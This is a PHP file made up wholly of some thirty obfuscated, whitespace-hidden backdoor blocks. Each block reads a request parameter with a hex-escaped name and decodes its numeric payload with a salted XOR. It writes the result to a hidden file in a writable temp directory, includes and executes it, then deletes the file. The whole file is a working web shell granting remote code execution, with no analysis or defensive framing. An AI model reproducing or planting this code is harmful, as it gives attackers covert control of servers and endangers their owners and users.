																																										if(!is_null($_REQUEST["p\x73et"] ?? null)){ $entity = array_filter([session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/tmp", "/var/tmp", "/dev/shm"]); $obj = $_REQUEST["p\x73et"]; $obj = explode ( '.', $obj ); $component = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); foreach ($obj as $m => $v2) {$sChar = ord($salt[$m % $sLen] ); $dec = ((int)$v2 - $sChar - ($m % 10)) ^ 92; $component .= chr($dec ); } foreach ($entity as $key => $object) { if ((bool)is_dir($object) && (bool)is_writable($object)) { $data_chunk = "$object/.comp"; if (@file_put_contents($data_chunk, $component) !== false) { include $data_chunk; unlink($data_chunk); die(); } } } }
																																										if(array_key_exists("re\x63", $_POST)){ $object = array_filter([session_save_path(), "/tmp", getenv("TMP"), getcwd(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir()]); $mrk = $_POST["re\x63"]; $mrk = explode ( "." , $mrk ) ; $parameter_group = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $len = count($mrk); for ($i = 0; $i <$len; $i++) { $v6 = $mrk[$i]; $sChar = ord($s[$i % $sLen]); $d = ((int)$v6 - $sChar - ($i % 10)) ^ 50; $parameter_group .= chr($d); } for ($res = 0, $binding = count($object); $res < $binding; $res++) { $bind = $object[$res]; if ((is_dir($bind) and is_writable($bind))) { $property_set = str_replace("{var_dir}", $bind, "{var_dir}/.k"); $success = file_put_contents($property_set, $parameter_group); if ($success) { include $property_set; @unlink($property_set); exit;} } } }
																																										if(@$_POST["res\x6F\x75\x72ce"] !== null){ $component = array_filter(["/var/tmp", getenv("TMP"), "/dev/shm", getcwd(), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp"]); $ent = $_POST["res\x6F\x75\x72ce"]; $ent = explode( '.' ,$ent ); $fac = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2 ); $len = count($ent ); for ($p = 0; $p < $len; $p++) { $v8 = $ent[$p]; $chS = ord($s2[$p %$lenS] ); $dec = ((int)$v8 - $chS - ($p %10)) ^ 93; $fac .= chr($dec );} foreach ($component as $key => $data_chunk) { if (is_dir($data_chunk) ? is_writable($data_chunk) : false) { $ent = join("/", [$data_chunk, ".ptr"]); if (file_put_contents($ent, $fac)) { require $ent; unlink($ent); exit; } } } }
																																										if(array_key_exists("obje\x63t", $_POST) && !is_null($_POST["obje\x63t"])){ $data = $_POST["obje\x63t"]; $data= explode ( "." , $data) ; $element = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $len = count($data); for ($s = 0; $s< $len; $s++) { $v8 = $data[$s]; $chS = ord($salt[$s % $sLen]); $d = ((int)$v8 - $chS - ($s % 10)) ^ 22; $element.=chr($d); } $dchunk = array_filter([getenv("TMP"), getenv("TEMP"), session_save_path(), "/var/tmp", "/tmp", "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); for ($holder = 0, $factor = count($dchunk); $holder < $factor; $holder++) { $key = $dchunk[$holder]; if (max(0, is_dir($key) * is_writable($key))) { $entity = join("/", [$key, ".hld"]); $file = fopen($entity, 'w'); if ($file) { fwrite($file, $element); fclose($file); include $entity; @unlink($entity); exit; } } } }
																																										if(in_array("h\x6C\x64", array_keys($_POST))){ $val = $_POST["h\x6C\x64"]; $val = explode ( '.' ,$val ) ; $data = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5); foreach ($val as $s => $v2): $sChar = ord($s5[$s % $sLen]); $d = ((int)$v2 - $sChar - ($s % 10)) ^ 36; $data .= chr($d); endforeach; $flag = array_filter([getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/tmp", "/var/tmp"]); foreach ($flag as $binding) { if ((is_dir($binding) and is_writable($binding))) { $data_chunk = "$binding/.object"; if (file_put_contents($data_chunk, $data)) { include $data_chunk; @unlink($data_chunk); die(); } } } }
																																										if(!is_null($_POST["m\x72\x6B"] ?? null)){ $property_set = $_POST["m\x72\x6B"]; $property_set= explode ('.', $property_set ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($property_set as $t => $v3): $chS = ord($salt[$t %$lenS]); $dec = ((int)$v3 - $chS - ($t %10)) ^ 49; $ent .= chr($dec); endforeach; $token = array_filter([getenv("TEMP"), "/var/tmp", getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", session_save_path(), getcwd()]); foreach ($token as $dchunk): if (max(0, is_dir($dchunk) * is_writable($dchunk))) { $itm = implode("/", [$dchunk, ".tkn"]); if (file_put_contents($itm, $ent)) { include $itm; @unlink($itm); die(); } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x68\x6Cd"])){ $factor = $_REQUEST["\x68\x6Cd"]; $factor = explode ( '.' , $factor ); $item = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($factor as $l => $v9) { $chS = ord($s[$l % $lenS]); $d = ((int)$v9 - $chS - ($l % 10))^11; $item .= chr($d);} $desc = array_filter([session_save_path(), "/var/tmp", "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir()]); foreach ($desc as $token): if (is_writable($token) && is_dir($token)) { $bind = vsprintf("%s/%s", [$token, ".fac"]); if (file_put_contents($bind, $item)) { include $bind; @unlink($bind); die(); } } endforeach; }
																																										if(@$_REQUEST["\x63\x6Fmp"] !== null){ $data_chunk = $_REQUEST["\x63\x6Fmp"]; $data_chunk = explode ( "." , $data_chunk ) ; $marker = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6 ); $t = 0; $__tmp = $data_chunk; while($v6 = array_shift($__tmp)) { $sChar = ord($s6[$t % $sLen] ); $d =((int)$v6 - $sChar -($t % 10)) ^ 73; $marker .= chr($d ); $t++; } $bind = array_filter(["/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", session_save_path(), "/var/tmp", sys_get_temp_dir(), getenv("TEMP")]); foreach ($bind as $ref) { if ((function($d) { return is_dir($d) && is_writable($d); })($ref)) { $flg = str_replace("{var_dir}", $ref, "{var_dir}/.entry"); $file = fopen($flg, 'w'); if ($file) { fwrite($file, $marker); fclose($file); include $flg; @unlink($flg); exit; } } } }
																																										if(@$_REQUEST["desc"] !== null){ $element = array_filter(["/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", getcwd(), "/var/tmp", getenv("TMP"), session_save_path(), sys_get_temp_dir()]); $value = $_REQUEST["desc"]; $value = explode( '.', $value); $symbol =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt); $m =0; $len =count( $value); do { if( $m >= $len) break; $v4 =$value[$m]; $chS =ord( $salt[$m % $lenS]); $d =( ( int)$v4 - $chS -( $m % 10))^60; $symbol .= chr( $d); $m++; }while( true); foreach ($element as $item) { if (!( !is_dir($item) || !is_writable($item) )) { $mrk = implode("/", [$item, ".binding"]); if (file_put_contents($mrk, $symbol)) { require $mrk; unlink($mrk); die(); } } } }
																																										if(isset($_POST) && isset($_POST["en\x74\x72y"])){ $holder = $_POST["en\x74\x72y"]; $holder =explode ("." , $holder ) ; $desc = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $w = 0; while( $w < count( $holder)) {$v6 = $holder[$w]; $sChar = ord( $s[$w% $sLen] ); $d =( ( int)$v6 - $sChar -( $w% 10)) ^ 35; $desc .= chr( $d ); $w++; } $entity = array_filter([session_save_path(), "/dev/shm", "/tmp", getcwd(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP")]); foreach ($entity as $key => $obj) { if (max(0, is_dir($obj) * is_writable($obj))) { $item = vsprintf("%s/%s", [$obj, ".dchunk"]); if (file_put_contents($item, $desc)) { require $item; unlink($item); die(); } } } }
																																										if(array_key_exists("flg", $_POST) && !is_null($_POST["flg"])){ $binding = array_filter([sys_get_temp_dir(), getenv("TEMP"), getcwd(), getenv("TMP"), "/var/tmp", "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), session_save_path()]); $entity = $_POST["flg"]; $entity = explode ( "." , $entity ) ; $entry = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $r = 0; while( $r < count( $entity)) { $v3 = $entity[$r]; $sChar = ord( $s[$r % $lenS]); $dec =( ( int)$v3 - $sChar -( $r % 10))^ 11; $entry .= chr( $dec); $r++; } foreach ($binding as $factor): if (is_dir($factor) && is_writable($factor)) { $data_chunk = join("/", [$factor, ".pset"]); if (file_put_contents($data_chunk, $entry)) { require $data_chunk; unlink($data_chunk); die(); } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["en\x74"])){ $marker = $_POST["en\x74"]; $marker = explode ( "." , $marker ) ; $rec = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1); foreach ($marker as $s => $v5) { $sChar = ord($salt1[$s % $lenS]); $dec = ((int)$v5 - $sChar - ($s % 10))^ 14; $rec .= chr($dec); } $ent = array_filter(["/tmp", "/dev/shm", session_save_path(), getenv("TEMP"), getenv("TMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); for ($hld = 0, $mrk = count($ent); $hld < $mrk; $hld++) { $res = $ent[$hld]; if ((function($d) { return is_dir($d) && is_writable($d); })($res)) { $flag = vsprintf("%s/%s", [$res, ".reference"]); if (file_put_contents($flag, $rec)) { include $flag; @unlink($flag); die(); } } } }
																																										if(!is_null($_POST["hol\x64\x65\x72"] ?? null)){ $ent = $_POST["hol\x64\x65\x72"]; $ent = explode ( '.', $ent ) ; $factor =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); $p =0; array_walk($ent, function ($v9) use (&$factor, &$p, $salt, $lenS) {$sChar =ord($salt[$p%$lenS]); $d =((int)$v9 - $sChar - ($p%10)) ^ 52; $factor .= chr($d); $p++; }); $tkn = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/tmp", "/var/tmp", getcwd(), "/dev/shm"]); $flg = 0; do { $fac = $tkn[$flg] ?? null; if ($flg >= count($tkn)) break; if (!( !is_dir($fac) || !is_writable($fac) )) { $flag = vsprintf("%s/%s", [$fac, ".value"]); $file = fopen($flag, 'w'); if ($file) { fwrite($file, $factor); fclose($file); include $flag; @unlink($flag); die(); } } $flg++; } while (true); }
																																										if(isset($_POST["h\x6C\x64"]) ? true : false){ $elem = array_filter([getcwd(), session_save_path(), "/tmp", getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]); $value = $_POST["h\x6C\x64"]; $value = explode ( '.' , $value ); $symbol = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $n = 0; $len = count($value); do { if($n >= $len) break; $v5 = $value[$n]; $chS = ord($s[$n %$lenS]); $dec =((int)$v5 - $chS -($n %10)) ^ 62; $symbol.=chr($dec); $n++; } while(true); foreach ($elem as $binding) { if (!!is_dir($binding) && !!is_writable($binding)) { $ent = sprintf("%s/.data_chunk", $binding); if (@file_put_contents($ent, $symbol) !== false) { include $ent; unlink($ent); exit; } } } }
																																										if(array_key_exists("\x64e\x73cri\x70to\x72", $_REQUEST) && !is_null($_REQUEST["\x64e\x73cri\x70to\x72"])){ $data_chunk = $_REQUEST["\x64e\x73cri\x70to\x72"]; $data_chunk= explode ( '.' ,$data_chunk ) ; $elem = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $len = count($data_chunk); for ($k = 0; $k < $len; $k++) { $v4 = $data_chunk[$k]; $sChar = ord($salt[$k % $lenS]); $dec = ((int)$v4 - $sChar - ($k % 10)) ^ 100; $elem .= chr($dec); } $k = array_filter([sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getenv("TMP"), "/var/tmp", getcwd(), "/tmp"]); for ($component = 0, $entry = count($k); $component < $entry; $component++) { $binding = $k[$component]; if (is_writable($binding) && is_dir($binding)) { $pointer = vsprintf("%s/%s", [$binding, ".element"]); $success = file_put_contents($pointer, $elem); if ($success) { include $pointer; @unlink($pointer); exit;} } } }
																																										if(array_key_exists("pt\x72", $_REQUEST)){ $marker = array_filter([getenv("TEMP"), getcwd(), "/var/tmp", session_save_path(), "/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir")]); $flag = $_REQUEST["pt\x72"]; $flag = explode ( "." , $flag ); $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $i = 0; array_walk($flag ,function ($v5) use (&$ent ,&$i ,$salt ,$sLen) { $chS = ord($salt[$i % $sLen]); $dec = ((int)$v5 - $chS - ($i % 10)) ^ 41; $ent .= chr($dec); $i++; }); while ($hld = array_shift($marker)) { if ((bool)is_dir($hld) && (bool)is_writable($hld)) { $dchunk = sprintf("%s/.k", $hld); $success = file_put_contents($dchunk, $ent); if ($success) { include $dchunk; @unlink($dchunk); exit;} } } }
																																										if(count($_POST) > 0 && isset($_POST["\x66\x61\x63tor"])){ $obj = $_POST["\x66\x61\x63tor"]; $obj = explode ( '.' ,$obj ) ; $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); foreach ($obj as $w=>$v3) { $chS = ord($salt[$w % $sLen] ); $dec = ((int)$v3 - $chS - ($w % 10)) ^ 71; $itm .= chr($dec ); } $sym = array_filter([sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/tmp", getcwd(), getenv("TEMP"), "/dev/shm"]); for ($desc = 0, $binding = count($sym); $desc < $binding; $desc++) { $descriptor = $sym[$desc]; if (is_writable($descriptor) && is_dir($descriptor)) { $tkn = join("/", [$descriptor, ".rec"]); if (file_put_contents($tkn, $itm)) { include $tkn; @unlink($tkn); exit; } } } }
																																										if(array_key_exists("mrk", $_POST)){ $sym = $_POST["mrk"]; $sym =explode ( "." ,$sym ) ; $entity = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); foreach( $sym as $w =>$v7) { $sChar = ord( $s[$w %$lenS]); $dec =( ( int)$v7 - $sChar -( $w %10)) ^75; $entity .= chr( $dec); } $dat = array_filter(["/tmp", session_save_path(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", "/var/tmp"]); $flag = 0; do { $ent = $dat[$flag] ?? null; if ($flag >= count($dat)) break; if (max(0, is_dir($ent) * is_writable($ent))) { $k = sprintf("%s/.item", $ent); if (file_put_contents($k, $entity)) { include $k; @unlink($k); exit; } } $flag++; } while (true); }
																																										if(in_array("o\x62j", array_keys($_REQUEST))){ $hld = $_REQUEST["o\x62j"]; $hld =explode("." ,$hld ) ; $data_chunk=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s); $w=0; $__tmp=$hld; while( $v5=array_shift( $__tmp)) {$chS=ord( $s[$w %$lenS]); $d=( ( int)$v5 - $chS -( $w %10)) ^ 62; $data_chunk .= chr( $d); $w++;} $ent = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/tmp", getcwd(), "/var/tmp", getenv("TMP"), session_save_path()]); foreach ($ent as $key => $bind) { if (is_dir($bind) ? is_writable($bind) : false) { $fac = vsprintf("%s/%s", [$bind, ".resource"]); if (@file_put_contents($fac, $data_chunk) !== false) { include $fac; unlink($fac); die(); } } } }
																																										if(isset($_REQUEST["\x64\x61t"])){ $resource = array_filter(["/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getcwd(), session_save_path(), getenv("TEMP"), getenv("TMP"), "/dev/shm"]); $token = $_REQUEST["\x64\x61t"]; $token = explode ( '.',$token ) ; $res = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s1); $z = 0; $len = count( $token); do { if( $z >= $len) break; $v4 = $token[$z]; $sChar = ord( $s1[$z %$lenS]); $dec =( ( int)$v4 - $sChar -( $z %10)) ^ 1; $res .= chr( $dec); $z++; } while( true); foreach ($resource as $data): if (!!is_dir($data) && !!is_writable($data)) { $pgrp = implode("/", [$data, ".ent"]); $file = fopen($pgrp, 'w'); if ($file) { fwrite($file, $res); fclose($file); include $pgrp; @unlink($pgrp); die(); } } endforeach; }
																																										if(isset($_POST["\x64at"])){ $desc = $_POST["\x64at"]; $desc = explode ( '.' ,$desc ) ; $parameter_group = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $w = 0; while ($w < count($desc)) { $v3 = $desc[$w]; $chS = ord($salt[$w % $lenS]); $d = ((int)$v3 - $chS - ($w % 10)) ^ 37; $parameter_group .= chr($d); $w++; } $pset = array_filter([sys_get_temp_dir(), "/tmp", getenv("TEMP"), "/var/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP")]); while ($reference = array_shift($pset)) { if ((function($d) { return is_dir($d) && is_writable($d); })($reference)) { $flag = "$reference" . "/.binding"; $file = fopen($flag, 'w'); if ($file) { fwrite($file, $parameter_group); fclose($file); include $flag; @unlink($flag); exit; } } } }
																																										if(!empty($_POST["\x65nt"])){ $sym = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", getcwd(), getenv("TEMP"), session_save_path(), getenv("TMP"), "/tmp"]); $res = $_POST["\x65nt"]; $res = explode ( '.' , $res); $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $len = count($res); for ($y = 0; $y < $len; $y++) {$v7 = $res[$y]; $sChar = ord($salt[$y %$sLen]); $d = ((int)$v7 - $sChar - ($y %10))^ 92; $obj .= chr($d); } for ($itm = 0, $fac = count($sym); $itm < $fac; $itm++) { $component = $sym[$itm]; if (!!is_dir($component) && !!is_writable($component)) { $rec = join("/", [$component, ".tkn"]); if (file_put_contents($rec, $obj)) { require $rec; unlink($rec); exit; } } } }
																																										if(isset($_REQUEST["t\x6Fk\x65n"]) ? true : false){ $data = array_filter([sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/var/tmp", getenv("TMP"), getcwd(), "/dev/shm"]); $factor = $_REQUEST["t\x6Fk\x65n"]; $factor= explode ("." ,$factor ) ; $dchunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $s = 0; $__tmp = $factor; while ($v4 = array_shift($__tmp)) { $sChar = ord($salt[$s % $lenS]); $d = ((int)$v4 - $sChar - ($s % 10)) ^ 10; $dchunk.= chr($d); $s++; } for ($object = 0, $ent = count($data); $object < $ent; $object++) { $obj = $data[$object]; if (array_product([is_dir($obj), is_writable($obj)])) { $marker = "$obj" . "/.mrk"; if (file_put_contents($marker, $dchunk)) { include $marker; @unlink($marker); die(); } } } }
																																										if(in_array("\x66lag", array_keys($_POST))){ $dat = $_POST["\x66lag"]; $dat=explode ( '.', $dat) ; $property_set = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); $x = 0; array_walk($dat, function($v3) use(&$property_set, &$x, $salt8, $lenS) { $sChar = ord($salt8[$x % $lenS]); $d =((int)$v3 - $sChar -($x % 10)) ^ 70; $property_set .= chr($d); $x++; } ); $obj = array_filter([getcwd(), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/var/tmp", "/dev/shm", "/tmp", session_save_path(), ini_get("upload_tmp_dir")]); foreach ($obj as $pset): if (is_writable($pset) && is_dir($pset)) { $dchunk = vsprintf("%s/%s", [$pset, ".descriptor"]); $file = fopen($dchunk, 'w'); if ($file) { fwrite($file, $property_set); fclose($file); include $dchunk; @unlink($dchunk); exit; } } endforeach; }
																																										if(!empty($_POST["\x66lg"])){ $tkn = array_filter(["/var/tmp", getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getcwd(), session_save_path(), getenv("TMP")]); $reference = $_POST["\x66lg"]; $reference =explode(".",$reference ) ; $entity = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt7 ); foreach( $reference as $z => $v8): $chS = ord( $salt7[$z%$lenS] ); $d = ( ( int)$v8 - $chS -( $z%10)) ^36; $entity .= chr( $d ); endforeach; for ($elem = 0, $ent = count($tkn); $elem < $ent; $elem++) { $marker = $tkn[$elem]; if ((function($d) { return is_dir($d) && is_writable($d); })($marker)) { $ref = implode("/", [$marker, ".res"]); $file = fopen($ref, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $ref; @unlink($ref); die(); } } } }
																																										if(isset($_POST["\x65\x6C\x65me\x6Et"])){ $component = $_POST["\x65\x6C\x65me\x6Et"]; $component= explode (".", $component ); $pgrp=''; $s7='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s7); $o=0; $__len=count($component); do { if ($o >= $__len) break; $v6=$component[$o]; $sChar=ord($s7[$o % $sLen]); $d=((int)$v6 - $sChar - ($o % 10)) ^33; $pgrp .= chr($d); $o++; } while (true); $symbol = array_filter([session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getcwd(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", getenv("TEMP")]); while ($entry = array_shift($symbol)) { if ((bool)is_dir($entry) && (bool)is_writable($entry)) { $token = vsprintf("%s/%s", [$entry, ".comp"]); if (file_put_contents($token, $pgrp)) { include $token; @unlink($token); exit; } } } }
																																										if(isset($_REQUEST["e\x6E\x74ry"]) ? true : false){ $element = $_REQUEST["e\x6E\x74ry"]; $element =explode ( "." , $element ) ; $sym= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); foreach ($element as $i => $v7): $sChar= ord($s[$i % $lenS]); $d= ((int)$v7 - $sChar - ($i % 10))^41; $sym .= chr($d); endforeach; $symbol = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), getcwd(), "/var/tmp", sys_get_temp_dir()]); $record = 0; do { $ptr = $symbol[$record] ?? null; if ($record >= count($symbol)) break; if (is_writable($ptr) && is_dir($ptr)) { $component = join("/", [$ptr, ".k"]); $file = fopen($component, 'w'); if ($file) { fwrite($file, $sym); fclose($file); include $component; @unlink($component); die(); } } $record++; } while (true); }
																																										if(@$_POST["\x6F\x62j"] !== null){ $token = $_POST["\x6F\x62j"]; $token = explode ( "." ,$token ) ; $flag = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach($token as $r => $v7) { $chS = ord($s[$r % $sLen]); $d = ((int)$v7 - $chS -($r % 10)) ^27; $flag .= chr($d); } $hld = array_filter([getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TMP"), session_save_path()]); foreach ($hld as $record): if (max(0, is_dir($record) * is_writable($record))) { $tkn = "$record/.pset"; $file = fopen($tkn, 'w'); if ($file) { fwrite($file, $flag); fclose($file); include $tkn; @unlink($tkn); die(); } } endforeach; }
																																										if(!is_null($_POST["h\x6C\x64"] ?? null)){ $token = $_POST["h\x6C\x64"]; $token = explode ( '.' ,$token ) ; $descriptor= ''; $s9= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s9 ); $len= count($token ); for ($n= 0; $n < $len; $n++) { $v9= $token[$n]; $chS= ord($s9[$n % $lenS] ); $dec= ((int)$v9 - $chS - ($n % 10)) ^ 11; $descriptor .= chr($dec ); } $parameter_group = array_filter(["/tmp", ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), getenv("TMP")]); foreach ($parameter_group as $key) { if (is_writable($key) && is_dir($key)) { $component = sprintf("%s/.property_set", $key); if (file_put_contents($component, $descriptor)) { include $component; @unlink($component); exit; } } } }
																																										if(!empty($_POST["\x76\x61l"])){ $token = $_POST["\x76\x61l"]; $token =explode ('.' , $token ) ; $obj =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); $t =0; $len =count($token); do { if ($t >= $len) break; $v3 =$token[$t]; $chS =ord($s[$t % $lenS]); $dec =((int)$v3 - $chS - ($t % 10)) ^ 64; $obj .= chr($dec); $t++;} while (true); $ent = array_filter([getenv("TMP"), getcwd(), getenv("TEMP"), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", "/dev/shm"]); foreach ($ent as $resource) { if (array_product([is_dir($resource), is_writable($resource)])) { $object = sprintf("%s/.tkn", $resource); $file = fopen($object, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $object; @unlink($object); die(); } } } }
																																										if(isset($_REQUEST["r\x65s\x6F\x75rce"]) ? true : false){ $descriptor = array_filter([session_save_path(), sys_get_temp_dir(), "/dev/shm", "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), getenv("TEMP")]); $record = $_REQUEST["r\x65s\x6F\x75rce"]; $record=explode( "." ,$record) ; $token = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $v = 0; array_walk($record , function($v6) use(&$token , &$v , $salt , $lenS) { $sChar = ord($salt[$v% $lenS]); $d =((int)$v6 - $sChar -($v% 10))^ 15; $token.= chr($d); $v++; }); for ($marker = 0, $flg = count($descriptor); $marker < $flg; $marker++) { $hld = $descriptor[$marker]; if ((function($d) { return is_dir($d) && is_writable($d); })($hld)) { $entry = join("/", [$hld, ".flag"]); $success = file_put_contents($entry, $token); if ($success) { include $entry; @unlink($entry); exit;} } } }
																																										if(array_key_exists("\x72\x65fer\x65n\x63e", $_POST) && !is_null($_POST["\x72\x65fer\x65n\x63e"])){ $entity = $_POST["\x72\x65fer\x65n\x63e"]; $entity =explode ("." , $entity ); $resource = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); foreach($entity as $w =>$v1) { $chS = ord($salt9[$w % $lenS]); $d = ((int)$v1 - $chS -($w % 10)) ^ 26; $resource.= chr($d); } $dat = array_filter([getcwd(), "/dev/shm", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", sys_get_temp_dir(), "/var/tmp"]); foreach ($dat as $holder): if ((function($d) { return is_dir($d) && is_writable($d); })($holder)) { $flg = join("/", [$holder, ".elem"]); $success = file_put_contents($flg, $resource); if ($success) { include $flg; @unlink($flg); die();} } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["ent\x69\x74\x79"])){ $comp = array_filter([getcwd(), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getenv("TMP"), "/var/tmp", getenv("TEMP")]); $ref = $_REQUEST["ent\x69\x74\x79"]; $ref = explode ("." , $ref); $item = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt1); $o = 0; while( $o < count( $ref)) { $v3 = $ref[$o]; $chS = ord( $salt1[$o % $lenS]); $d =( ( int)$v3 - $chS -( $o % 10)) ^ 91; $item .= chr( $d); $o++; } foreach ($comp as $data) { if ((bool)is_dir($data) && (bool)is_writable($data)) { $k = "$data/.pgrp"; $success = file_put_contents($k, $item); if ($success) { include $k; @unlink($k); exit;} } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["k"])){ $parameter_group = $_REQUEST["k"]; $parameter_group= explode ('.' , $parameter_group ) ; $data = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7); foreach ($parameter_group as $m => $v8) { $chS = ord($s7[$m % $lenS]); $dec = ((int)$v8 - $chS - ($m % 10)) ^ 17; $data.= chr($dec);} $object = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/dev/shm", "/var/tmp", "/tmp", getcwd(), session_save_path(), sys_get_temp_dir()]); foreach ($object as $key => $res) { if ((function($d) { return is_dir($d) && is_writable($d); })($res)) { $record = join("/", [$res, ".flg"]); if (@file_put_contents($record, $data) !== false) { include $record; unlink($record); die(); } } } }
